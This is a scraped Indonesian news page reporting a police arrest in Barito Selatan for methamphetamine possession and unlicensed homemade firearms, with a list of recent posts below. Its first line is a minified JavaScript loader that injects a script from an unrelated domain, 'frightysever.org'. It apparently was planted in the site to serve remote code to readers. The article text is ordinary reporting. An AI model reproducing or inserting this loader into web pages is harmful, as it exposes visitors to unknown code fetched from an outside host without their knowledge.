(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Barito Selatan

Simpan 8 Paket Sabu dan Senpi Tanpa Izin, Pria Asal Barsel Diringkus Polisi


BUNTOK, Sat Resnarkoba Polres Barito Selatan (Barsel) mengamankan VR, warga Desa Damparan, Kecamatan Dusun Hilir, atas kepemilikan sabu dan senjata api (senpi), Kamis (19/9) malam sekitar pukul 22.00 WIB. Tersangka diringkus tak jauh dari rumahnya.

Kapolres Barsel AKBP Kurniawan Wahid melalui Kasat Narkoba Iptu Sanip SH mengatakan, VR dibekuk lantaran kepemilikan 8 paket sabu seberat 35,67 gram dan Senpi tanpa izin.

“Kita telah menangkap VR atas kepemilikan sabu dan senpi tanpa surat ijin,” kata Sanip kepada Kanalkalimantan.com, di kantornya Jumat (20/9).

Berdasarkan laporan, VR sering menjual sabu dan langsung diselidiki saat dilakukan penggerebekan di rumahnya di Desa Damparan RT 11. Polisi mendapati 1 paket sabu yang disimpan dalam sebuah botol isi ulang mancis, 1 buah timbangan digital dan uang sebanyak Rp 8 juta.

“Saat kita lakukan penggerebakan tersangka sempat kabur dan berhasil kita tangkap tidak jauh dari rumahnya dan langsung dilakukan penggeledahan,” ucap Sanip.


Tak berhenti di situ, penggeledahan juga dilakukan di rumah orang tua tersangka di Desa Damparan RT 03. Di sana didapati lagi sebuah bungkusan plastik hitam yang ditimbun di bawah rumah. Setelah dibuka berisikan 1 buah tas kecil warna loreng coklat dan di dalamnya berisi 7 paket narkotika jenis sabu serta 2 pak plastik bening.

“Setelah kita interogasi lagi terlapor juga mengakui memiliki senjata api tanpa izin yang dititipkan ke teman terlapor R di Desa Damparan RT 03. Dengan diantu oleh anggota Polsek Dusun Hilir anggota juga mengamankan 2 buah senja api rakitan dengan 7 butir amunisi,” beber Sanip.

VR saat ini sudah diamankan di Polres Barsel untuk dilakukan pemeriksaan lebih lanjut dan dikenakan melanggar UU NO. 35 Tahun 2009 tentang Narkotika pasal 112 ayat (2) dan Pasal 114 ayat (2). “Jadi terlapor beserta barang bukti sudah kita amankan di Mako Polres Barsel untuk dilakukan pemeriksaan lebih lanjut terkait hal ini,” tandas Sanip.(digdo)

Reporter : Digdo
Editor : Chell


Desy Arfianty

Recent Posts

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

20 menit ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

37 menit ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

1 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

3 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

3 jam ago

Pabrik Sepatu Bata Tutup, Simpan Kenangan Haru Soekarno dan Megawati Soekarnoputri

KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More

3 jam ago

This website uses cookies.